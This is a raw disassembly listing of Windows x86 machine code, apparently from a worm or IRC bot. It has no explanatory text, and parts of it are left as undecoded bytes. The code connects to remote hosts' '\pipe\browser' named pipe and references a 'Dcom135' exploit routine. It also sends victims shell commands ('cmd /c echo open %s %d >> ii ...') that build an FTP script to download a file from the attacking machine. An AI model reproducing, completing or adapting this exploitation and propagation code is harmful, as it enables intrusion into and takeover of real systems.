		db  6Eh	; n
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  80h	; €
		db 0E0h	; à
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_4049C7
; ---------------------------------------------------------------------------
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------

loc_4049C7:				; CODE XREF: ___:004049C0j
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	near ptr 2650000h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_404A0B

loc_404A04:				; CODE XREF: ___:00404AE3j
					; ___:00404CB9j ...
		xor	al, al
		jmp	loc_404E4F
; ---------------------------------------------------------------------------

loc_404A0B:				; CODE XREF: ___:00404A02j
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_417330
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_428C34
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_417390
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_428C20
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_417390
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 2640000h
		nop
		test	eax, eax
		jnz	short loc_404AE8

loc_404ADA:				; CODE XREF: ___:00404BB4j
		push	dword ptr [ebp-4]
		call	near ptr 26319EBh
		nop
		jmp	loc_404A04
; ---------------------------------------------------------------------------

loc_404AE8:				; CODE XREF: ___:00404AD8j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2631104h
		push	ebx
		call	sub_4186B1
		push	eax
		call	sub_417302
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_417330
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_417330
		add	esp, 20h
		call	sub_41730C
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_428BC8[esi], bl
		jz	short loc_404B5F
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_436F00
		jmp	short loc_404B72
; ---------------------------------------------------------------------------

loc_404B5F:				; CODE XREF: ___:00404B4Bj
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_428C17+1)

loc_404B72:				; CODE XREF: ___:00404B5Dj
		lea	eax, [ebp-20h]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		call	sub_41730C
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41730C
		cdq
		idiv	edi
		mov	eax, dword_428BBC[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_404ADA
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_417330
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_417330
		mov	eax, dword_428BC4[esi]
		push	7
		add	eax, edi
		push	offset dword_428BB0
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_428A50
		push	eax
		call	sub_417390
		mov	eax, dword_428BC0[esi]
		add	esp, 30h
		cmp	byte_428BC8[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_404C6B
		push	4
		add	eax, edi
		push	offset dword_436EF8
		push	eax
		call	sub_417390
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_428BE0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_417390
		add	esp, 30h
		jmp	short loc_404C93
; ---------------------------------------------------------------------------

loc_404C6B:				; CODE XREF: ___:00404C1Cj
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_428BE0

loc_404C7C:				; CODE XREF: ___:00404C91j
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_417390
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_404C7C

loc_404C93:				; CODE XREF: ___:00404C69j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_404CBE
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26319EBh
		push	edi
		call	sub_417C3B
		pop	ecx
		jmp	loc_404A04
; ---------------------------------------------------------------------------

loc_404CBE:				; CODE XREF: ___:00404CA7j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_417330
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_417390
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_424294
		fstp	qword ptr [esp]
		call	sub_417DEB
		call	sub_417DC4
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_417390
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_404D2B

loc_404D23:				; CODE XREF: ___:00404D26j
		inc	eax
		test	al, 3
		jnz	short loc_404D23
		mov	[ebp+0Ch], eax

loc_404D2B:				; CODE XREF: ___:00404D21j
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_417390
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_417C3B
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_417330
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_417330
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		nop
		call	near ptr 265035Ah
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx

loc_404D98:				; CODE XREF: ___:00404E22j
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_404E2D
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_404861
		add	esp, 2Ch
		test	al, al
		jz	short loc_404E2A
		cmp	[ebp-4Ch], ebx
		jz	short loc_404E1C
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2631104h
		test	eax, eax
		jnz	short loc_404E03
		nop
		call	near ptr 265031Fh
		cmp	eax, 3E5h
		jnz	loc_404A04

loc_404E03:				; CODE XREF: ___:00404DF0j
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 2650248h
		cmp	eax, 102h
		jnz	short loc_404E1C
		mov	byte ptr [ebp+0Bh], 1

loc_404E1C:				; CODE XREF: ___:00404DCFj
					; ___:00404E16j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_404D98
		jmp	short loc_404E2D
; ---------------------------------------------------------------------------

loc_404E2A:				; CODE XREF: ___:00404DCAj
		mov	esi, [ebp-8]

loc_404E2D:				; CODE XREF: ___:00404D9Cj
					; ___:00404E28j
		push	dword ptr [ebp-4]
		mov	edi, dword_424078
		call	edi
		push	esi
		call	sub_417C3B
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_404E49
		push	dword ptr [ebp-4Ch]
		call	edi

loc_404E49:				; CODE XREF: ___:00404E42j
		cmp	[ebp+0Bh], bl
		setnz	al

loc_404E4F:				; CODE XREF: ___:00404A06j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0ECh	; ì
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0C2h	; Â
		db  24h	; $
		db    1
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; ð
		db    2
		db    0
		db  50h	; P
		db 0E8h	; è
		db  78h	; x
		db 0C4h	; Ä
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db 0FFh
		db 0B5h	; µ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db 0E8h	; è
		db 0B7h	; ·
		db 0C8h	; È
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ò
		db 0E8h	; è
		db  84h	; „
		db 0EDh	; í
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  83h	; ƒ
		db 0FBh	; û
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db 0AAh	; ª
		db 0EFh	; ï
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ¿
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db    4
		db  42h	; B
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db  74h	; t
		db 0F6h	; ö
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  0Ch
		db  6Fh	; o
		db  43h	; C
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0FCh	; ü
		db  5Fh	; _
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db 0DCh	; Ü
		db  89h	; ‰
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; è
		db  2Eh	; .
		db  29h	; )
		db    1
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; è
		db 0A3h	; £
		db  2Bh	; +
		db    1
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db 0E8h	; è
		db 0D8h	; Ø
		db 0CBh	; Ë
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; À
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db 0E8h	; è
		db  34h	; 4
		db 0CBh	; Ë
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ã
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851B75h, 0D0680B75h
		dd 90000007h, 20BFB8E8h, 0FB834302h, 33B87202h,	5B5E5FC0h
		dd 58016AC3h
		db 0EBh, 0F7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F9A	proc near		; CODE XREF: ___:00405119p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	near ptr 71AB12F8h
		nop
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_405068
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405068
		mov	edi, 400h
		push	esi
		mov	esi, dword_424204
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42F674
		push	eax
		push	eax
		push	dword_436F0C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40506C

loc_405068:				; CODE XREF: sub_404F9A+50j
					; sub_404F9A+62j
		xor	eax, eax
		jmp	short loc_405083
; ---------------------------------------------------------------------------

loc_40506C:				; CODE XREF: sub_404F9A+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax

loc_405083:				; CODE XREF: sub_404F9A+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404F9A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		mov	word ptr [ebp-10h], 2
		call	dword_43ADD8
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	dword_43AD98
		push	6
		push	1
		push	2
		mov	[ebp-0Eh], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4050FA
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4050DB
		push	esi
		jmp	short loc_4050F4
; ---------------------------------------------------------------------------

loc_4050DB:				; CODE XREF: ___:004050D6j
		push	0
		push	1213h
		push	offset dword_428C60
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_4050FE

loc_4050F4:				; CODE XREF: ___:004050D9j
		call	near ptr 71AB1A6Dh
		nop

loc_4050FA:				; CODE XREF: ___:004050C4j
		xor	eax, eax
		jmp	short loc_405140
; ---------------------------------------------------------------------------

loc_4050FE:				; CODE XREF: ___:004050F2j
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404F9A
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40513D
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]

loc_40513D:				; CODE XREF: ___:00405126j
		push	1
		pop	eax

loc_405140:				; CODE XREF: ___:004050FCj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405144	proc near		; CODE XREF: ___:00405340p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_C], eax
		mov	ax, word_42A040
		push	eax
		call	dword_43AD98
		push	edi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43AE18
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_40525B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	loc_40525B
		mov	ebx, 400h
		push	edi
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_43ADB0
		push	dword_436F0C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40525B
		push	1F4h
		nop
		call	near ptr 2610F41h
		push	offset byte_42F674
		push	offset dword_428598
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40525F

loc_40525B:				; CODE XREF: sub_405144+51j
					; sub_405144+67j ...
		xor	al, al
		jmp	short loc_405279
; ---------------------------------------------------------------------------

loc_40525F:				; CODE XREF: sub_405144+115j
		push	0
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_43ADB0
		push	esi
		call	dword_43AE30
		mov	al, 1

loc_405279:				; CODE XREF: sub_405144+119j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405144	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		call	near ptr 71AB2BBFh
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4052A8
		lea	eax, [ebp+0Ch]
		push	eax
		nop
		call	near ptr 71AB12F8h
		mov	ebx, eax
		jmp	short loc_4052AE
; ---------------------------------------------------------------------------

loc_4052A8:				; CODE XREF: ___:00405298j
		mov	ebx, [ebp+0C0h]

loc_4052AE:				; CODE XREF: ___:004052A6j
		push	11h
		push	2
		push	2
		call	near ptr 71AB3C22h
		nop
		test	esi, esi
		mov	edi, eax
		jz	short loc_4052D8
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		jmp	short loc_4052DB
; ---------------------------------------------------------------------------

loc_4052D8:				; CODE XREF: ___:004052BEj
		mov	[ebp-0Ch], ebx

loc_4052DB:				; CODE XREF: ___:004052D6j
		test	esi, esi
		jz	short loc_4052E9
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_4052EF
; ---------------------------------------------------------------------------

loc_4052E9:				; CODE XREF: ___:004052DDj
		mov	word ptr [ebp-10h], 2

loc_4052EF:				; CODE XREF: ___:004052E7j
		push	599h
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	near ptr 71AB3E5Dh
		nop
		test	eax, eax
		jnz	loc_4053BE
		push	eax
		push	1C9h
		push	offset loc_429E74
		push	edi
		call	near ptr 71AB1AF4h
		nop
		push	3E8h
		call	near ptr 2610F41h
		nop
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_405144
		add	esp, 0BCh
		test	al, al
		jz	short loc_405354
		push	1
		pop	eax
		jmp	short loc_4053D0
; ---------------------------------------------------------------------------

loc_405354:				; CODE XREF: ___:0040534Dj
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset unk_42A0B0
		lea	eax, [ebp-210h]
		push	200h
		push	eax
		call	sub_41782A
		push	0
		lea	eax, [ebp-210h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40D679
		lea	eax, [ebp-210h]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]
		jmp	short loc_4053CE
; ---------------------------------------------------------------------------

loc_4053BE:				; CODE XREF: ___:0040530Dj
		push	1
		push	edi
		call	near ptr 71AB8629h
		nop
		push	edi
		nop
		call	near ptr 71AB1A6Dh

loc_4053CE:				; CODE XREF: ___:004053BCj
		xor	eax, eax

loc_4053D0:				; CODE XREF: ___:00405352j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053D5	proc near		; DATA XREF: sub_407252+226o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		call	near ptr 71AB41DAh
		nop
		push	edi
		call	sub_4186B1
		push	eax
		call	sub_417302
		push	0FEB0h
		push	406h
		call	sub_415450
		add	esp, 10h
		mov	dword_436F0C, eax
		push	edi
		push	ebx
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	near ptr 71AB3F8Dh
		nop
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB155Ah
		mov	ax, word ptr dword_436F0C
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	near ptr 71AB1746h
		nop
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB3ECEh
		nop
		test	eax, eax
		jge	short loc_4054AA
		mov	eax, ebx
		jmp	loc_4059D4
; ---------------------------------------------------------------------------

loc_4054AA:				; CODE XREF: sub_4053D5+CCj
		push	0Ah
		push	esi
		call	near ptr 71AB5DE2h
		nop
		mov	[ebp+var_228], ebx
		mov	ebx, dword_424208
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi

loc_4054C8:				; CODE XREF: sub_4053D5+12Cj
					; sub_4053D5+5F7j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		nop
		call	near ptr 71AB1890h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4059D1
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_4054C8

loc_405503:				; CODE XREF: sub_4053D5+5F1j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417330
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_422A46
; ---------------------------------------------------------------------------
		db 85h
		dd 84840FC0h, 3B000004h, 7A75F47Dh, 0C7DC458Dh,	10DC45h
		dd 8D500000h, 0FFFDC885h, 75FF50FFh, 32E890F4h,	83716B31h
